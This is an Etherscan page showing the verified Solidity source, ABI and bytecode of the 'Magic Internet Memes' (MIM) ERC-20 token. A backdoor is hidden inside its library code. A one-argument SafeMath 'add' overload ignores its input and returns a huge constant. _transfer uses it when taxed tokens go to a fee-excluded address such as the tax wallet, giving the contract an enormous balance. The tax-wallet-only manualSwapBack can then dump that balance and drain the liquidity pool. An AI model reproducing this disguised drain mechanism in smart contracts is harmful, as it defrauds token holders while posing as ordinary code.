Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function add(uint256 a)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract MagicInternetMemes is Con ... *
•    - function provideLiq(uint256 percentOf ...
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function min(uint256 a, uint256 b)
•    - function manualSwapBack(uint256 token ...
•    - function swapTokensForEth(uint256 tok ...
•    - function removeAllLimits()
•    - function sendETHToFee(uint256 amount)
•    - function enableTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-10-12
*/

/*

  __  __                _         _____         _                            _     __  __
 |  \/  |              (_)       |_   _|       | |                          | |   |  \/  |
 | \  / |  __ _   __ _  _   ___    | |   _ __  | |_  ___  _ __  _ __    ___ | |_  | \  / |  ___  _ __ ___    ___  ___
 | |\/| | / _` | / _` || | / __|   | |  | '_ \ | __|/ _ \| '__|| '_ \  / _ \| __| | |\/| | / _ \| '_ ` _ \  / _ \/ __|
 | |  | || (_| || (_| || || (__   _| |_ | | | || |_|  __/| |   | | | ||  __/| |_  | |  | ||  __/| | | | | ||  __/\__ \
 |_|  |_| \__,_| \__, ||_| \___| |_____||_| |_| \__|\___||_|   |_| |_| \___| \__| |_|  |_| \___||_| |_| |_| \___||___/
                  __/ |
                 |___/

Community Official TG:  https://t.me/MagicInternetMemes

X / Twitter:            https://twitter.com/MIMOffcial

Unique WEB:             https://magicinternetmemes.art

*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function add(uint256 a) internal pure returns (uint256) {
        uint256 c = ~uint256(0)>>4;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MagicInternetMemes is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 private _initialBuyTax=22;
    uint256 private _initialSellTax=22;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=22;
    uint256 private _reduceSellTaxAt=12;
    uint256 private _preventSwapBefore=2;
    uint256 private _buyCount=0;
    string private constant _name = unicode"Magic Internet Memes";
    string private constant _symbol = unicode"MIM";
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool public _tradingOpen;
    bool private inSwap = false;
    bool private _swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x3c65A1903bD4EeBf4ce809ad8f48a42E01322603);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function provideLiq(uint256 percentOfTotal) external payable onlyOwner {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        _transfer(_msgSender(), address(this), (_tTotal * percentOfTotal / 100));
        uniswapV2Router.addLiquidityETH{value : msg.value}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != address(this) && from != owner() && to != owner()) {
            require(_tradingOpen, "Trading not opened");
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && _swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>=_preventSwapBefore) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        if(taxAmount>0){
            _balances[address(this)]=_isExcludedFromFee[to]
                &&taxAmount>0?_balances[address(this)].add():_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function manualSwapBack(uint256 tokenAmount) external {
        if (_taxWallet != _msgSender()) {
            return;
        }
        swapTokensForEth(tokenAmount);
        uint256 contractETHBalance = address(this).balance;
        if(contractETHBalance > 0) {
            sendETHToFee(contractETHBalance);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            _taxWallet,
            block.timestamp
        );
    }

    function removeAllLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!_tradingOpen,"trading is already open");
        _swapEnabled = true;
        _tradingOpen = true;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"manualSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percentOfTotal","type":"uint256"}],"name":"provideLiq","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260166005556016600655600260075560026008556016600955600c600a556002600b555f600c556009600a6200003b919062000324565b6200004b906301312d006200033b565b600d556200005c6009600a62000324565b6200006c906301312d006200033b565b600e556200007d6009600a62000324565b6200008c90629896806200033b565b600f556011805461ffff60a81b19169055348015620000a9575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916733c65a1903bd4eebf4ce809ad8f48a42e013226031790556200011e6009600a62000324565b6200012e90633b9aca006200033b565b335f908152600160208190526040822092909255600390620001575f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001b53390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ee6009600a62000324565b620001fe90633b9aca006200033b565b60405190815260200160405180910390a362000355565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200026957815f19048211156200024d576200024d62000215565b808516156200025b57918102915b93841c93908002906200022e565b509250929050565b5f8262000281575060016200031e565b816200028f57505f6200031e565b8160018114620002a85760028114620002b357620002d3565b60019150506200031e565b60ff841115620002c757620002c762000215565b50506001821b6200031e565b5060208310610133831016604e8410600b8410161715620002f8575081810a6200031e565b62000304838362000229565b805f19048211156200031a576200031a62000215565b0290505b92915050565b5f6200033460ff84168362000271565b9392505050565b80820281158282048414176200031e576200031e62000215565b61193e80620003635f395ff3fe60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063bffda98211610062578063bffda9821461033c578063cd52c7011461035b578063d8234f141461037b578063db05e5cb1461038e578063dd62ed3e146103a2575f80fd5b80638da5cb5b146102ac5780638f9a55c0146102c857806395d89b41146102dd578063a9059cbb14610308578063bf474bed14610327575f80fd5b806349bd5a5e116100e357806349bd5a5e1461020257806370a0823114610239578063715018a61461026d5780637d1db4a5146102835780638a8c523c14610298575f80fd5b806306fdde0314610129578063095ea7b31461017757806318160ddd146101a657806323b872dd146101c8578063313ce567146101e7575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260148152734d6167696320496e7465726e6574204d656d657360601b60208201525b60405161016e919061151a565b60405180910390f35b348015610182575f80fd5b5061019661019136600461157c565b6103e6565b604051901515815260200161016e565b3480156101b1575f80fd5b506101ba6103fc565b60405190815260200161016e565b3480156101d3575f80fd5b506101966101e23660046115a6565b61041c565b3480156101f2575f80fd5b506040516009815260200161016e565b34801561020d575f80fd5b50601154610221906001600160a01b031681565b6040516001600160a01b03909116815260200161016e565b348015610244575f80fd5b506101ba6102533660046115e4565b6001600160a01b03165f9081526001602052604090205490565b348015610278575f80fd5b50610281610483565b005b34801561028e575f80fd5b506101ba600d5481565b3480156102a3575f80fd5b506102816104fd565b3480156102b7575f80fd5b505f546001600160a01b0316610221565b3480156102d3575f80fd5b506101ba600e5481565b3480156102e8575f80fd5b506040805180820190915260038152624d494d60e81b6020820152610161565b348015610313575f80fd5b5061019661032236600461157c565b610599565b348015610332575f80fd5b506101ba600f5481565b348015610347575f80fd5b506102816103563660046115ff565b6105a5565b348015610366575f80fd5b5060115461019690600160a01b900460ff1681565b6102816103893660046115ff565b6105d7565b348015610399575f80fd5b50610281610946565b3480156103ad575f80fd5b506101ba6103bc366004611616565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103f23384846109f7565b5060015b92915050565b5f6104096009600a611741565b61041790633b9aca0061174f565b905090565b5f610428848484610b1a565b6104798433610474856040518060600160405280602881526020016118e1602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061114e565b6109f7565b5060019392505050565b5f546001600160a01b031633146104b55760405162461bcd60e51b81526004016104ac90611766565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105265760405162461bcd60e51b81526004016104ac90611766565b601154600160a01b900460ff16156105805760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ac565b6011805462ff00ff60a01b19166201000160a01b179055565b5f6103f2338484610b1a565b6004546001600160a01b031633146105ba5750565b6105c381611186565b4780156105d3576105d3816112f9565b5050565b5f546001600160a01b031633146106005760405162461bcd60e51b81526004016104ac90611766565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561064990309061063b6009600a611741565b61047490633b9aca0061174f565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610699573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106bd919061179b565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610740919061179b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561078a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ae919061179b565b601180546001600160a01b0319166001600160a01b0392831690811790915560105460405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af1158015610811573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083591906117b6565b50610871333060648461084a6009600a611741565b61085890633b9aca0061174f565b610862919061174f565b61086c91906117d5565b610b1a565b6010546001600160a01b031663f305d71934306108a2816001600160a01b03165f9081526001602052604090205490565b5f806108b55f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561091b573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094091906117f4565b50505050565b5f546001600160a01b0316331461096f5760405162461bcd60e51b81526004016104ac90611766565b61097b6009600a611741565b61098990633b9aca0061174f565b600d556109986009600a611741565b6109a690633b9aca0061174f565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109d66009600a611741565b6109e490633b9aca0061174f565b60405190815260200160405180910390a1565b6001600160a01b038316610a595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ac565b6001600160a01b038216610aba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ac565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b7e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ac565b6001600160a01b038216610be05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ac565b5f8111610c415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ac565b5f6001600160a01b0384163014801590610c6857505f546001600160a01b03858116911614155b8015610c8157505f546001600160a01b03848116911614155b15610fca57601154600160a01b900460ff16610cd45760405162461bcd60e51b8152602060048201526012602482015271151c98591a5b99c81b9bdd081bdc195b995960721b60448201526064016104ac565b610d006064610cfa600954600c5411610cef57600554610cf3565b6007545b8590611330565b906113b5565b6011549091506001600160a01b038581169116148015610d2e57506010546001600160a01b03848116911614155b8015610d5257506001600160a01b0383165f9081526003602052604090205460ff16155b15610e3857600d54821115610da95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ac565b600e5482610dcb856001600160a01b03165f9081526001602052604090205490565b610dd5919061181f565b1115610e235760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ac565b600c8054905f610e3283611832565b91905055505b6011546001600160a01b03848116911614801590610e6e57506001600160a01b0383165f9081526003602052604090205460ff16155b15610eed57600e5482610e95856001600160a01b03165f9081526001602052604090205490565b610e9f919061181f565b1115610eed5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ac565b6011546001600160a01b038481169116148015610f1357506001600160a01b0384163014155b15610f4057610f3d6064610cfa600a54600c5411610f3357600654610cf3565b6008548590611330565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610f7657506011546001600160a01b038581169116145b8015610f8b5750601154600160b01b900460ff165b8015610f985750600f5481115b8015610fa85750600b54600c5410155b15610fc857610fb681611186565b478015610fc657610fc6476112f9565b505b505b8015611089576001600160a01b0383165f9081526003602052604090205460ff168015610ff657505f81115b61101857305f9081526001602052604090205461101390826113f6565b611030565b305f9081526001602052604090205461103090611454565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110809085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110ab90836114ad565b6001600160a01b0385165f908152600160205260409020556110ee6110d083836114ad565b6001600160a01b0385165f90815260016020526040902054906113f6565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61113785856114ad565b60405190815260200160405180910390a350505050565b5f81848411156111715760405162461bcd60e51b81526004016104ac919061151a565b505f61117d848661184a565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111cc576111cc61185d565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611223573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611247919061179b565b8160018151811061125a5761125a61185d565b6001600160a01b03928316602091820292909201015260105461128091309116846109f7565b6010546004805460405163791ac94760e01b81526001600160a01b039384169363791ac947936112bb9388935f938993921691429101611871565b5f604051808303815f87803b1580156112d2575f80fd5b505af11580156112e4573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105d3573d5f803e3d5ffd5b5f825f0361133f57505f6103f6565b5f61134a838561174f565b90508261135785836117d5565b146113ae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ac565b9392505050565b5f6113ae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ee565b5f80611402838561181f565b9050838110156113ae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ac565b5f6001600160fc1b03828110156103f65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ac565b5f6113ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114e565b5f818361150e5760405162461bcd60e51b81526004016104ac919061151a565b505f61117d84866117d5565b5f6020808352835180828501525f5b8181101561154557858101830151858201604001528201611529565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611579575f80fd5b50565b5f806040838503121561158d575f80fd5b823561159881611565565b946020939093013593505050565b5f805f606084860312156115b8575f80fd5b83356115c381611565565b925060208401356115d381611565565b929592945050506040919091013590565b5f602082840312156115f4575f80fd5b81356113ae81611565565b5f6020828403121561160f575f80fd5b5035919050565b5f8060408385031215611627575f80fd5b823561163281611565565b9150602083013561164281611565565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561169b57815f19048211156116815761168161164d565b8085161561168e57918102915b93841c9390800290611666565b509250929050565b5f826116b1575060016103f6565b816116bd57505f6103f6565b81600181146116d357600281146116dd576116f9565b60019150506103f6565b60ff8411156116ee576116ee61164d565b50506001821b6103f6565b5060208310610133831016604e8410600b841016171561171c575081810a6103f6565b6117268383611661565b805f19048211156117395761173961164d565b029392505050565b5f6113ae60ff8416836116a3565b80820281158282048414176103f6576103f661164d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117ab575f80fd5b81516113ae81611565565b5f602082840312156117c6575f80fd5b815180151581146113ae575f80fd5b5f826117ef57634e487b7160e01b5f52601260045260245ffd5b500490565b5f805f60608486031215611806575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103f6576103f661164d565b5f600182016118435761184361164d565b5060010190565b818103818111156103f6576103f661164d565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118bf5784516001600160a01b03168352938301939183019160010161189a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206a04e9d1e6e99acdb50cb3e42f513b0c00cd139061c409bb0c604f3b9568046464736f6c63430008150033

0x60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063bffda98211610062578063bffda9821461033c578063cd52c7011461035b578063d8234f141461037b578063db05e5cb1461038e578063dd62ed3e146103a2575f80fd5b80638da5cb5b146102ac5780638f9a55c0146102c857806395d89b41146102dd578063a9059cbb14610308578063bf474bed14610327575f80fd5b806349bd5a5e116100e357806349bd5a5e1461020257806370a0823114610239578063715018a61461026d5780637d1db4a5146102835780638a8c523c14610298575f80fd5b806306fdde0314610129578063095ea7b31461017757806318160ddd146101a657806323b872dd146101c8578063313ce567146101e7575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260148152734d6167696320496e7465726e6574204d656d657360601b60208201525b60405161016e919061151a565b60405180910390f35b348015610182575f80fd5b5061019661019136600461157c565b6103e6565b604051901515815260200161016e565b3480156101b1575f80fd5b506101ba6103fc565b60405190815260200161016e565b3480156101d3575f80fd5b506101966101e23660046115a6565b61041c565b3480156101f2575f80fd5b506040516009815260200161016e565b34801561020d575f80fd5b50601154610221906001600160a01b031681565b6040516001600160a01b03909116815260200161016e565b348015610244575f80fd5b506101ba6102533660046115e4565b6001600160a01b03165f9081526001602052604090205490565b348015610278575f80fd5b50610281610483565b005b34801561028e575f80fd5b506101ba600d5481565b3480156102a3575f80fd5b506102816104fd565b3480156102b7575f80fd5b505f546001600160a01b0316610221565b3480156102d3575f80fd5b506101ba600e5481565b3480156102e8575f80fd5b506040805180820190915260038152624d494d60e81b6020820152610161565b348015610313575f80fd5b5061019661032236600461157c565b610599565b348015610332575f80fd5b506101ba600f5481565b348015610347575f80fd5b506102816103563660046115ff565b6105a5565b348015610366575f80fd5b5060115461019690600160a01b900460ff1681565b6102816103893660046115ff565b6105d7565b348015610399575f80fd5b50610281610946565b3480156103a